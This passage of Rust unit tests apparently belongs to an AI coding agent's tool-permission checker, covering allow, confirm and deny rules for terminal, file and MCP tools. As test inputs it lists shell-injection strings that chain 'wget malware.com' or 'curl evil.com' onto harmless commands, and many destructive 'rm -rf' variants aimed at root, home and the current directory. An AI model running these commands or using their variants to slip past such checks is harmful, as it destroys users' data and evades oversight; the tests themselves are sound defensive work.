 953        assert_eq!(
 954            no_rules("x", ToolPermissionMode::Confirm),
 955            ToolPermissionDecision::Confirm
 956        );
 957        assert_eq!(
 958            no_rules("x", ToolPermissionMode::Allow),
 959            ToolPermissionDecision::Allow
 960        );
 961        assert!(matches!(
 962            no_rules("x", ToolPermissionMode::Deny),
 963            ToolPermissionDecision::Deny(_)
 964        ));
 965    }
 966
 967    #[test]
 968    fn empty_input_no_match() {
 969        t("")
 970            .deny(&["rm"])
 971            .mode(ToolPermissionMode::Allow)
 972            .is_allow();
 973    }
 974
 975    #[test]
 976    fn empty_input_with_allow_falls_to_default() {
 977        t("").allow(&["^ls"]).is_confirm();
 978    }
 979
 980    #[test]
 981    fn multi_deny_any_match() {
 982        t("rm x").deny(&["rm", "del", "drop"]).is_deny();
 983        t("drop x").deny(&["rm", "del", "drop"]).is_deny();
 984    }
 985
 986    #[test]
 987    fn multi_allow_any_match() {
 988        t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
 989    }
 990    #[test]
 991    fn multi_none_match() {
 992        t("python x")
 993            .allow(&["^cargo", "^npm"])
 994            .deny(&["rm"])
 995            .is_confirm();
 996    }
 997
 998    // tool isolation
 999    #[test]
1000    fn other_tool_not_affected() {
1001        let mut tools = collections::HashMap::default();
1002        tools.insert(
1003            Arc::from(TerminalTool::NAME),
1004            ToolRules {
1005                default: Some(ToolPermissionMode::Deny),
1006                always_allow: vec![],
1007                always_deny: vec![],
1008                always_confirm: vec![],
1009                invalid_patterns: vec![],
1010            },
1011        );
1012        tools.insert(
1013            Arc::from(EditFileTool::NAME),
1014            ToolRules {
1015                default: Some(ToolPermissionMode::Allow),
1016                always_allow: vec![],
1017                always_deny: vec![],
1018                always_confirm: vec![],
1019                invalid_patterns: vec![],
1020            },
1021        );
1022        let p = ToolPermissions {
1023            default: ToolPermissionMode::Confirm,
1024            tools,
1025        };
1026        assert!(matches!(
1027            ToolPermissionDecision::from_input(
1028                TerminalTool::NAME,
1029                &["x".to_string()],
1030                &p,
1031                ShellKind::Posix
1032            ),
1033            ToolPermissionDecision::Deny(_)
1034        ));
1035        assert_eq!(
1036            ToolPermissionDecision::from_input(
1037                EditFileTool::NAME,
1038                &["x".to_string()],
1039                &p,
1040                ShellKind::Posix
1041            ),
1042            ToolPermissionDecision::Allow
1043        );
1044    }
1045
1046    #[test]
1047    fn partial_tool_name_no_match() {
1048        let mut tools = collections::HashMap::default();
1049        tools.insert(
1050            Arc::from("term"),
1051            ToolRules {
1052                default: Some(ToolPermissionMode::Deny),
1053                always_allow: vec![],
1054                always_deny: vec![],
1055                always_confirm: vec![],
1056                invalid_patterns: vec![],
1057            },
1058        );
1059        let p = ToolPermissions {
1060            default: ToolPermissionMode::Confirm,
1061            tools,
1062        };
1063        // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1064        assert_eq!(
1065            ToolPermissionDecision::from_input(
1066                TerminalTool::NAME,
1067                &["x".to_string()],
1068                &p,
1069                ShellKind::Posix
1070            ),
1071            ToolPermissionDecision::Confirm
1072        );
1073    }
1074
1075    // invalid patterns block the tool
1076    #[test]
1077    fn invalid_pattern_blocks() {
1078        let mut tools = collections::HashMap::default();
1079        tools.insert(
1080            Arc::from(TerminalTool::NAME),
1081            ToolRules {
1082                default: Some(ToolPermissionMode::Allow),
1083                always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1084                always_deny: vec![],
1085                always_confirm: vec![],
1086                invalid_patterns: vec![InvalidRegexPattern {
1087                    pattern: "[bad".into(),
1088                    rule_type: "always_deny".into(),
1089                    error: "err".into(),
1090                }],
1091            },
1092        );
1093        let p = ToolPermissions {
1094            default: ToolPermissionMode::Confirm,
1095            tools,
1096        };
1097        // Invalid patterns block the tool regardless of other settings
1098        assert!(matches!(
1099            ToolPermissionDecision::from_input(
1100                TerminalTool::NAME,
1101                &["echo hi".to_string()],
1102                &p,
1103                ShellKind::Posix
1104            ),
1105            ToolPermissionDecision::Deny(_)
1106        ));
1107    }
1108
1109    #[test]
1110    fn invalid_substitution_bearing_command_denies_by_default() {
1111        let decision = no_rules("echo $HOME", ToolPermissionMode::Deny);
1112        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1113    }
1114
1115    #[test]
1116    fn invalid_substitution_bearing_command_denies_in_confirm_mode() {
1117        let decision = no_rules("echo $(whoami)", ToolPermissionMode::Confirm);
1118        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1119    }
1120
1121    #[test]
1122    fn unconditional_allow_all_bypasses_invalid_command_rejection_without_tool_rules() {
1123        let decision = no_rules("echo $HOME", ToolPermissionMode::Allow);
1124        assert_eq!(decision, ToolPermissionDecision::Allow);
1125    }
1126
1127    #[test]
1128    fn unconditional_allow_all_bypasses_invalid_command_rejection_with_terminal_default_allow() {
1129        let mut tools = collections::HashMap::default();
1130        tools.insert(
1131            Arc::from(TerminalTool::NAME),
1132            ToolRules {
1133                default: Some(ToolPermissionMode::Allow),
1134                always_allow: vec![],
1135                always_deny: vec![],
1136                always_confirm: vec![],
1137                invalid_patterns: vec![],
1138            },
1139        );
1140        let permissions = ToolPermissions {
1141            default: ToolPermissionMode::Confirm,
1142            tools,
1143        };
1144
1145        assert_eq!(
1146            ToolPermissionDecision::from_input(
1147                TerminalTool::NAME,
1148                &["echo $(whoami)".to_string()],
1149                &permissions,
1150                ShellKind::Posix,
1151            ),
1152            ToolPermissionDecision::Allow
1153        );
1154    }
1155
1156    #[test]
1157    fn old_anchored_pattern_no_longer_matches_env_prefixed_command() {
1158        t("PAGER=blah git log").allow(&["^git\\b"]).is_confirm();
1159    }
1160
1161    #[test]
1162    fn env_prefixed_allow_pattern_matches_env_prefixed_command() {
1163        t("PAGER=blah git log --oneline")
1164            .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1165            .is_allow();
1166    }
1167
1168    #[test]
1169    fn env_prefixed_allow_pattern_requires_matching_env_value() {
1170        t("PAGER=more git log --oneline")
1171            .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1172            .is_confirm();
1173    }
1174
1175    #[test]
1176    fn env_prefixed_allow_patterns_require_all_extracted_commands_to_match() {
1177        t("PAGER=blah git log && git status")
1178            .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1179            .is_confirm();
1180    }
1181
1182    #[test]
1183    fn hardcoded_security_denial_overrides_unconditional_allow_all() {
1184        let decision = no_rules("rm -rf /", ToolPermissionMode::Allow);
1185        match decision {
1186            ToolPermissionDecision::Deny(message) => {
1187                assert!(
1188                    message.contains("built-in security rule"),
1189                    "expected hardcoded denial message, got: {message}"
1190                );
1191            }
1192            other => panic!("expected Deny, got {other:?}"),
1193        }
1194    }
1195
1196    #[test]
1197    fn hardcoded_security_denial_overrides_unconditional_allow_all_for_invalid_command() {
1198        let decision = no_rules("echo $(rm -rf /)", ToolPermissionMode::Allow);
1199        match decision {
1200            ToolPermissionDecision::Deny(message) => {
1201                assert!(
1202                    message.contains("built-in security rule"),
1203                    "expected hardcoded denial message, got: {message}"
1204                );
1205            }
1206            other => panic!("expected Deny, got {other:?}"),
1207        }
1208    }
1209
1210    #[test]
1211    fn shell_injection_via_double_ampersand_not_allowed() {
1212        t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1213    }
1214
1215    #[test]
1216    fn shell_injection_via_semicolon_not_allowed() {
1217        t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1218    }
1219
1220    #[test]
1221    fn shell_injection_via_pipe_not_allowed() {
1222        t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1223    }
1224
1225    #[test]
1226    fn shell_injection_via_backticks_not_allowed() {
1227        t("echo `wget malware.com`")
1228            .allow(&[pattern("echo")])
1229            .is_deny();
1230    }
1231
1232    #[test]
1233    fn shell_injection_via_dollar_parens_not_allowed() {
1234        t("echo $(wget malware.com)")
1235            .allow(&[pattern("echo")])
1236            .is_deny();
1237    }
1238
1239    #[test]
1240    fn shell_injection_via_or_operator_not_allowed() {
1241        t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1242    }
1243
1244    #[test]
1245    fn shell_injection_via_background_operator_not_allowed() {
1246        t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1247    }
1248
1249    #[test]
1250    fn shell_injection_via_newline_not_allowed() {
1251        t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1252    }
1253
1254    #[test]
1255    fn shell_injection_via_process_substitution_input_not_allowed() {
1256        t("cat <(wget malware.com)").allow(&["^cat"]).is_deny();
1257    }
1258
1259    #[test]
1260    fn shell_injection_via_process_substitution_output_not_allowed() {
1261        t("ls >(wget malware.com)").allow(&["^ls"]).is_deny();
1262    }
1263
1264    #[test]
1265    fn shell_injection_without_spaces_not_allowed() {
1266        t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1267        t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1268    }
1269
1270    #[test]
1271    fn shell_injection_multiple_chained_operators_not_allowed() {
1272        t("ls && echo hello && wget malware.com")
1273            .allow(&["^ls"])
1274            .is_confirm();
1275    }
1276
1277    #[test]
1278    fn shell_injection_mixed_operators_not_allowed() {
1279        t("ls; echo hello && wget malware.com")
1280            .allow(&["^ls"])
1281            .is_confirm();
1282    }
1283
1284    #[test]
1285    fn shell_injection_pipe_stderr_not_allowed() {
1286        t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1287    }
1288
1289    #[test]
1290    fn allow_requires_all_commands_to_match() {
1291        t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1292    }
1293
1294    #[test]
1295    fn dev_null_redirect_does_not_cause_false_negative() {
1296        // Redirects to /dev/null are known-safe and should be skipped during
1297        // command extraction, so they don't prevent auto-allow from matching.
1298        t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1299            .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1300            .is_allow();
1301    }
1302
1303    #[test]
1304    fn redirect_to_real_file_still_causes_confirm() {
1305        // Redirects to real files (not /dev/null) should still be included in
1306        // the extracted commands, so they prevent auto-allow when unmatched.
1307        t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1308    }
1309
1310    #[test]
1311    fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1312        // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1313        // "echo y\ny" and "git add -p file". Both should match their respective allow
1314        // patterns, so the overall command should be auto-allowed.
1315        t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1316            .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1317            .is_allow();
1318    }
1319
1320    #[test]
1321    fn deny_triggers_on_any_matching_command() {
1322        t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1323    }
1324
1325    #[test]
1326    fn deny_catches_injected_command() {
1327        t("ls && rm -rf ./temp")
1328            .allow(&["^ls"])
1329            .deny(&["^rm"])
1330            .is_deny();
1331    }
1332
1333    #[test]
1334    fn confirm_triggers_on_any_matching_command() {
1335        t("ls && sudo reboot")
1336            .allow(&["^ls"])
1337            .confirm(&["^sudo"])
1338            .is_confirm();
1339    }
1340
1341    #[test]
1342    fn always_allow_button_works_end_to_end() {
1343        // This test verifies that the "Always Allow" button behavior works correctly:
1344        // 1. User runs a command like "cargo build --release"
1345        // 2. They click "Always Allow for `cargo build` commands"
1346        // 3. The pattern extracted should match future "cargo build" commands
1347        //    but NOT other cargo subcommands like "cargo test"
1348        let original_command = "cargo build --release";
1349        let extracted_pattern = pattern(original_command);
1350
1351        // The extracted pattern should allow the original command
1352        t(original_command).allow(&[extracted_pattern]).is_allow();
1353
1354        // It should allow other "cargo build" invocations with different flags
1355        t("cargo build").allow(&[extracted_pattern]).is_allow();
1356        t("cargo build --features foo")
1357            .allow(&[extracted_pattern])
1358            .is_allow();
1359
1360        // But NOT other cargo subcommands — the pattern is subcommand-specific
1361        t("cargo test").allow(&[extracted_pattern]).is_confirm();
1362        t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1363
1364        // Hyphenated extensions of the subcommand should not match either
1365        // (e.g. cargo plugins like "cargo build-foo")
1366        t("cargo build-foo")
1367            .allow(&[extracted_pattern])
1368            .is_confirm();
1369        t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1370
1371        // But not commands with different base commands
1372        t("npm install").allow(&[extracted_pattern]).is_confirm();
1373
1374        // Chained commands: all must match the pattern
1375        t("cargo build && cargo build --release")
1376            .allow(&[extracted_pattern])
1377            .is_allow();
1378
1379        // But reject if any subcommand doesn't match
1380        t("cargo build && npm install")
1381            .allow(&[extracted_pattern])
1382            .is_confirm();
1383    }
1384
1385    #[test]
1386    fn always_allow_button_works_without_subcommand() {
1387        // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1388        // should only include the command name, not the flag.
1389        let original_command = "ls -la";
1390        let extracted_pattern = pattern(original_command);
1391
1392        // The extracted pattern should allow the original command
1393        t(original_command).allow(&[extracted_pattern]).is_allow();
1394
1395        // It should allow other invocations of the same command
1396        t("ls").allow(&[extracted_pattern]).is_allow();
1397        t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1398
1399        // But not different commands
1400        t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1401
1402        // Chained commands: all must match
1403        t("ls -la && ls /tmp")
1404            .allow(&[extracted_pattern])
1405            .is_allow();
1406        t("ls -la && cat file.txt")
1407            .allow(&[extracted_pattern])
1408            .is_confirm();
1409    }
1410
1411    #[test]
1412    fn nested_command_substitution_is_denied() {
1413        t("echo $(cat $(whoami).txt)")
1414            .allow(&["^echo", "^cat", "^whoami"])
1415            .is_deny();
1416    }
1417
1418    #[test]
1419    fn parse_failure_is_denied() {
1420        t("ls &&").allow(&["^ls$"]).is_deny();
1421    }
1422
1423    #[test]
1424    fn mcp_tool_default_modes() {
1425        t("")
1426            .tool("mcp:fs:read")
1427            .mode(ToolPermissionMode::Allow)
1428            .is_allow();
1429        t("")
1430            .tool("mcp:bad:del")
1431            .mode(ToolPermissionMode::Deny)
1432            .is_deny();
1433        t("")
1434            .tool("mcp:gh:issue")
1435            .mode(ToolPermissionMode::Confirm)
1436            .is_confirm();
1437        t("")
1438            .tool("mcp:gh:issue")
1439            .mode(ToolPermissionMode::Confirm)
1440            .global_default(ToolPermissionMode::Allow)
1441            .is_confirm();
1442    }
1443
1444    #[test]
1445    fn mcp_doesnt_collide_with_builtin() {
1446        let mut tools = collections::HashMap::default();
1447        tools.insert(
1448            Arc::from(TerminalTool::NAME),
1449            ToolRules {
1450                default: Some(ToolPermissionMode::Deny),
1451                always_allow: vec![],
1452                always_deny: vec![],
1453                always_confirm: vec![],
1454                invalid_patterns: vec![],
1455            },
1456        );
1457        tools.insert(
1458            Arc::from("mcp:srv:terminal"),
1459            ToolRules {
1460                default: Some(ToolPermissionMode::Allow),
1461                always_allow: vec![],
1462                always_deny: vec![],
1463                always_confirm: vec![],
1464                invalid_patterns: vec![],
1465            },
1466        );
1467        let p = ToolPermissions {
1468            default: ToolPermissionMode::Confirm,
1469            tools,
1470        };
1471        assert!(matches!(
1472            ToolPermissionDecision::from_input(
1473                TerminalTool::NAME,
1474                &["x".to_string()],
1475                &p,
1476                ShellKind::Posix
1477            ),
1478            ToolPermissionDecision::Deny(_)
1479        ));
1480        assert_eq!(
1481            ToolPermissionDecision::from_input(
1482                "mcp:srv:terminal",
1483                &["x".to_string()],
1484                &p,
1485                ShellKind::Posix
1486            ),
1487            ToolPermissionDecision::Allow
1488        );
1489    }
1490
1491    #[test]
1492    fn case_insensitive_by_default() {
1493        t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1494        t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1495    }
1496
1497    #[test]
1498    fn case_sensitive_allow() {
1499        t("cargo test")
1500            .allow_case_sensitive(&[pattern("cargo")])
1501            .is_allow();
1502        t("CARGO TEST")
1503            .allow_case_sensitive(&[pattern("cargo")])
1504            .is_confirm();
1505    }
1506
1507    #[test]
1508    fn case_sensitive_deny() {
1509        t("rm -rf ./temp")
1510            .deny_case_sensitive(&[pattern("rm")])
1511            .is_deny();
1512        t("RM -RF ./temp")
1513            .deny_case_sensitive(&[pattern("rm")])
1514            .mode(ToolPermissionMode::Allow)
1515            .is_allow();
1516    }
1517
1518    #[test]
1519    fn nushell_allows_with_allow_pattern() {
1520        t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1521    }
1522
1523    #[test]
1524    fn nushell_allows_deny_patterns() {
1525        t("rm -rf ./temp")
1526            .deny(&["rm\\s+-rf"])
1527            .shell(ShellKind::Nushell)
1528            .is_deny();
1529    }
1530
1531    #[test]
1532    fn nushell_allows_confirm_patterns() {
1533        t("sudo reboot")
1534            .confirm(&["sudo"])
1535            .shell(ShellKind::Nushell)
1536            .is_confirm();
1537    }
1538
1539    #[test]
1540    fn nushell_no_allow_patterns_uses_default() {
1541        t("ls")
1542            .deny(&["rm"])
1543            .mode(ToolPermissionMode::Allow)
1544            .shell(ShellKind::Nushell)
1545            .is_allow();
1546    }
1547
1548    #[test]
1549    fn elvish_allows_with_allow_pattern() {
1550        t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1551    }
1552
1553    #[test]
1554    fn rc_allows_with_allow_pattern() {
1555        t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1556    }
1557
1558    #[test]
1559    fn multiple_invalid_patterns_pluralizes_message() {
1560        let mut tools = collections::HashMap::default();
1561        tools.insert(
1562            Arc::from(TerminalTool::NAME),
1563            ToolRules {
1564                default: Some(ToolPermissionMode::Allow),
1565                always_allow: vec![],
1566                always_deny: vec![],
1567                always_confirm: vec![],
1568                invalid_patterns: vec![
1569                    InvalidRegexPattern {
1570                        pattern: "[bad1".into(),
1571                        rule_type: "always_deny".into(),
1572                        error: "err1".into(),
1573                    },
1574                    InvalidRegexPattern {
1575                        pattern: "[bad2".into(),
1576                        rule_type: "always_allow".into(),
1577                        error: "err2".into(),
1578                    },
1579                ],
1580            },
1581        );
1582        let p = ToolPermissions {
1583            default: ToolPermissionMode::Confirm,
1584            tools,
1585        };
1586
1587        let result = ToolPermissionDecision::from_input(
1588            TerminalTool::NAME,
1589            &["echo hi".to_string()],
1590            &p,
1591            ShellKind::Posix,
1592        );
1593        match result {
1594            ToolPermissionDecision::Deny(msg) => {
1595                assert!(
1596                    msg.contains("2 regex patterns"),
1597                    "Expected '2 regex patterns' in message, got: {}",
1598                    msg
1599                );
1600            }
1601            other => panic!("Expected Deny, got {:?}", other),
1602        }
1603    }
1604
1605    // always_confirm patterns on non-terminal tools
1606    #[test]
1607    fn always_confirm_works_for_file_tools() {
1608        t("sensitive.env")
1609            .tool(EditFileTool::NAME)
1610            .confirm(&["sensitive"])
1611            .is_confirm();
1612
1613        t("normal.txt")
1614            .tool(EditFileTool::NAME)
1615            .confirm(&["sensitive"])
1616            .mode(ToolPermissionMode::Allow)
1617            .is_allow();
1618
1619        t("/etc/config")
1620            .tool(DeletePathTool::NAME)
1621            .confirm(&["/etc/"])
1622            .is_confirm();
1623
1624        t("/home/user/safe.txt")
1625            .tool(DeletePathTool::NAME)
1626            .confirm(&["/etc/"])
1627            .mode(ToolPermissionMode::Allow)
1628            .is_allow();
1629
1630        t("https://secret.internal.com/api")
1631            .tool(FetchTool::NAME)
1632            .confirm(&["secret\\.internal"])
1633            .is_confirm();
1634
1635        t("https://public.example.com/api")
1636            .tool(FetchTool::NAME)
1637            .confirm(&["secret\\.internal"])
1638            .mode(ToolPermissionMode::Allow)
1639            .is_allow();
1640
1641        // confirm on non-terminal tools still beats allow
1642        t("sensitive.env")
1643            .tool(EditFileTool::NAME)
1644            .allow(&["sensitive"])
1645            .confirm(&["\\.env$"])
1646            .is_confirm();
1647
1648        // confirm on non-terminal tools is still beaten by deny
1649        t("sensitive.env")
1650            .tool(EditFileTool::NAME)
1651            .confirm(&["sensitive"])
1652            .deny(&["\\.env$"])
1653            .is_deny();
1654
1655        // global default allow does not bypass confirm on non-terminal tools
1656        t("/etc/passwd")
1657            .tool(EditFileTool::NAME)
1658            .confirm(&["/etc/"])
1659            .global_default(ToolPermissionMode::Allow)
1660            .is_confirm();
1661    }
1662
1663    // Hardcoded security rules tests - these rules CANNOT be bypassed
1664
1665    #[test]
1666    fn hardcoded_blocks_rm_rf_root() {
1667        t("rm -rf /").is_deny();
1668        t("rm -fr /").is_deny();
1669        t("rm -RF /").is_deny();
1670        t("rm -FR /").is_deny();
1671        t("rm -r -f /").is_deny();
1672        t("rm -f -r /").is_deny();
1673        t("RM -RF /").is_deny();
1674        t("rm /").is_deny();
1675        // Long flags
1676        t("rm --recursive --force /").is_deny();
1677        t("rm --force --recursive /").is_deny();
1678        // Extra short flags
1679        t("rm -rfv /").is_deny();
1680        t("rm -v -rf /").is_deny();
1681        // Glob wildcards
1682        t("rm -rf /*").is_deny();
1683        t("rm -rf /* ").is_deny();
1684        // End-of-options marker
1685        t("rm -rf -- /").is_deny();
1686        t("rm -- /").is_deny();
1687        // Prefixed with sudo or other commands
1688        t("sudo rm -rf /").is_deny();
1689        t("sudo rm -rf /*").is_deny();
1690        t("sudo rm -rf --no-preserve-root /").is_deny();
1691    }
1692
1693    #[test]
1694    fn hardcoded_blocks_rm_rf_home() {
1695        t("rm -rf ~").is_deny();
1696        t("rm -fr ~").is_deny();
1697        t("rm -rf ~/").is_deny();
1698        t("rm -rf $HOME").is_deny();
1699        t("rm -fr $HOME").is_deny();
1700        t("rm -rf $HOME/").is_deny();
1701        t("rm -rf ${HOME}").is_deny();
1702        t("rm -rf ${HOME}/").is_deny();
1703        t("rm -RF $HOME").is_deny();
1704        t("rm -FR ${HOME}/").is_deny();
1705        t("rm -R -F ${HOME}/").is_deny();
1706        t("RM -RF ~").is_deny();
1707        // Long flags
1708        t("rm --recursive --force ~").is_deny();
1709        t("rm --recursive --force ~/").is_deny();
1710        t("rm --recursive --force $HOME").is_deny();
1711        t("rm --force --recursive ${HOME}/").is_deny();
1712        // Extra short flags
1713        t("rm -rfv ~").is_deny();
1714        t("rm -v -rf ~/").is_deny();
1715        // Glob wildcards
1716        t("rm -rf ~/*").is_deny();
1717        t("rm -rf $HOME/*").is_deny();
1718        t("rm -rf ${HOME}/*").is_deny();
1719        // End-of-options marker
1720        t("rm -rf -- ~").is_deny();
1721        t("rm -rf -- ~/").is_deny();
1722        t("rm -rf -- $HOME").is_deny();
1723    }
1724
1725    #[test]
1726    fn hardcoded_blocks_rm_rf_home_with_traversal() {
1727        // Path traversal after $HOME / ${HOME} should still be blocked
1728        t("rm -rf $HOME/./").is_deny();
1729        t("rm -rf $HOME/foo/..").is_deny();
1730        t("rm -rf ${HOME}/.").is_deny();
1731        t("rm -rf ${HOME}/./").is_deny();
1732        t("rm -rf $HOME/a/b/../..").is_deny();
1733        t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1734        // Subdirectories should NOT be blocked
1735        t("rm -rf $HOME/subdir")
1736            .mode(ToolPermissionMode::Allow)
1737            .is_allow();
1738        t("rm -rf ${HOME}/Documents")
1739            .mode(ToolPermissionMode::Allow)
1740            .is_allow();
1741    }
1742
1743    #[test]
1744    fn hardcoded_blocks_rm_rf_dot() {
1745        t("rm -rf .").is_deny();
1746        t("rm -fr .").is_deny();
1747        t("rm -rf ./").is_deny();
1748        t("rm -rf ..").is_deny();
1749        t("rm -fr ..").is_deny();
1750        t("rm -rf ../").is_deny();
1751        t("rm -RF .").is_deny();
1752        t("rm -FR ../").is_deny();
1753        t("rm -R -F ../").is_deny();
1754        t("RM -RF .").is_deny();
1755        t("RM -RF ..").is_deny();
1756        // Long flags
1757        t("rm --recursive --force .").is_deny();
1758        t("rm --force --recursive ../").is_deny();
1759        // Extra short flags
1760        t("rm -rfv .").is_deny();
1761        t("rm -v -rf ../").is_deny();
1762        // Glob wildcards
1763        t("rm -rf ./*").is_deny();
1764        t("rm -rf ../*").is_deny();
1765        // End-of-options marker
1766        t("rm -rf -- .").is_deny();
1767        t("rm -rf -- ../").is_deny();
1768    }
1769
1770    #[test]
1771    fn hardcoded_cannot_be_bypassed_by_global() {
1772        // Even with global default Allow, hardcoded rules block
1773        t("rm -rf /")
1774            .global_default(ToolPermissionMode::Allow)
1775            .is_deny();
1776        t("rm -rf ~")
1777            .global_default(ToolPermissionMode::Allow)
1778            .is_deny();
1779        t("rm -rf $HOME")
1780            .global_default(ToolPermissionMode::Allow)
1781            .is_deny();
1782        t("rm -rf .")
1783            .global_default(ToolPermissionMode::Allow)
1784            .is_deny();
1785        t("rm -rf ..")
1786            .global_default(ToolPermissionMode::Allow)
1787            .is_deny();
1788    }
1789
1790    #[test]
1791    fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1792        // Even with an allow pattern that matches, hardcoded rules block
1793        t("rm -rf /").allow(&[".*"]).is_deny();
1794        t("rm -rf $HOME").allow(&[".*"]).is_deny();
1795        t("rm -rf .").allow(&[".*"]).is_deny();
1796        t("rm -rf ..").allow(&[".*"]).is_deny();
1797    }
1798
1799    #[test]
1800    fn hardcoded_allows_safe_rm() {
1801        // rm -rf on a specific path should NOT be blocked
1802        t("rm -rf ./build")
1803            .mode(ToolPermissionMode::Allow)
1804            .is_allow();
1805        t("rm -rf /tmp/test")
1806            .mode(ToolPermissionMode::Allow)
1807            .is_allow();
1808        t("rm -rf ~/Documents")
1809            .mode(ToolPermissionMode::Allow)
1810            .is_allow();
1811        t("rm -rf $HOME/Documents")
1812            .mode(ToolPermissionMode::Allow)
1813            .is_allow();
1814        t("rm -rf ../some_dir")
1815            .mode(ToolPermissionMode::Allow)
1816            .is_allow();
1817        t("rm -rf .hidden_dir")
1818            .mode(ToolPermissionMode::Allow)
1819            .is_allow();
1820        t("rm -rfv ./build")
1821            .mode(ToolPermissionMode::Allow)
1822            .is_allow();
1823        t("rm --recursive --force ./build")
1824            .mode(ToolPermissionMode::Allow)
1825            .is_allow();
1826    }
1827
1828    #[test]
1829    fn hardcoded_checks_chained_commands() {
1830        // Hardcoded rules should catch dangerous commands in chains
1831        t("ls && rm -rf /").is_deny();
1832        t("echo hello; rm -rf ~").is_deny();
1833        t("cargo build && rm -rf /")
1834            .global_default(ToolPermissionMode::Allow)
1835            .is_deny();
1836        t("echo hello; rm -rf $HOME").is_deny();
1837        t("echo hello; rm -rf .").is_deny();
1838        t("echo hello; rm -rf ..").is_deny();
1839    }
1840
1841    #[test]
1842    fn hardcoded_blocks_rm_with_extra_flags() {
1843        // Extra flags like -v, -i should not bypass the security rules
1844        t("rm -rfv /").is_deny();
1845        t("rm -v -rf /").is_deny();
1846        t("rm -rfi /").is_deny();
1847        t("rm -rfv ~").is_deny();
1848        t("rm -rfv ~/").is_deny();
1849        t("rm -rfv $HOME").is_deny();
1850        t("rm -rfv .").is_deny();
1851        t("rm -rfv ./").is_deny();
1852        t("rm -rfv ..").is_deny();
1853        t("rm -rfv ../").is_deny();
1854    }
1855
1856    #[test]
1857    fn hardcoded_blocks_rm_with_long_flags() {
1858        t("rm --recursive --force /").is_deny();
1859        t("rm --force --recursive /").is_deny();
1860        t("rm --recursive --force ~").is_deny();
1861        t("rm --recursive --force ~/").is_deny();
1862        t("rm --recursive --force $HOME").is_deny();
1863        t("rm --recursive --force .").is_deny();
1864        t("rm --recursive --force ..").is_deny();
1865    }
1866
1867    #[test]
1868    fn hardcoded_blocks_rm_with_glob_star() {
1869        // rm -rf /* is equally catastrophic to rm -rf /
1870        t("rm -rf /*").is_deny();
1871        t("rm -rf ~/*").is_deny();
1872        t("rm -rf $HOME/*").is_deny();
1873        t("rm -rf ${HOME}/*").is_deny();
1874        t("rm -rf ./*").is_deny();
1875        t("rm -rf ../*").is_deny();
1876    }
1877
1878    #[test]
1879    fn hardcoded_extra_flags_allow_safe_rm() {
1880        // Extra flags on specific paths should NOT be blocked
1881        t("rm -rfv ~/somedir")
1882            .mode(ToolPermissionMode::Allow)
1883            .is_allow();
1884        t("rm -rfv /tmp/test")
1885            .mode(ToolPermissionMode::Allow)
1886            .is_allow();
1887        t("rm --recursive --force ./build")
1888            .mode(ToolPermissionMode::Allow)
1889            .is_allow();
1890    }
1891
1892    #[test]
1893    fn hardcoded_does_not_block_words_containing_rm() {
1894        // Words like "storm", "inform" contain "rm" but should not be blocked
1895        t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1896        t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1897        t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1898    }
1899
1900    #[test]
1901    fn hardcoded_blocks_rm_with_trailing_flags() {
1902        // GNU rm accepts flags after operands by default
1903        t("rm / -rf").is_deny();
1904        t("rm / -fr").is_deny();
1905        t("rm / -RF").is_deny();
1906        t("rm / -r -f").is_deny();
1907        t("rm / --recursive --force").is_deny();
1908        t("rm / -rfv").is_deny();
1909        t("rm /* -rf").is_deny();
1910        // Mixed: some flags before path, some after
1911        t("rm -r / -f").is_deny();
1912        t("rm -f / -r").is_deny();
1913        // Home
1914        t("rm ~ -rf").is_deny();
1915        t("rm ~/ -rf").is_deny();
1916        t("rm ~ -r -f").is_deny();
1917        t("rm $HOME -rf").is_deny();
1918        t("rm ${HOME} -rf").is_deny();
1919        // Dot / dotdot
1920        t("rm . -rf").is_deny();
1921        t("rm ./ -rf").is_deny();
1922        t("rm . -r -f").is_deny();
1923        t("rm .. -rf").is_deny();
1924        t("rm ../ -rf").is_deny();
1925        t("rm .. -r -f").is_deny();
1926        // Trailing flags in chained commands
1927        t("ls && rm / -rf").is_deny();
1928        t("echo hello; rm ~ -rf").is_deny();
1929        // Safe paths with trailing flags should NOT be blocked
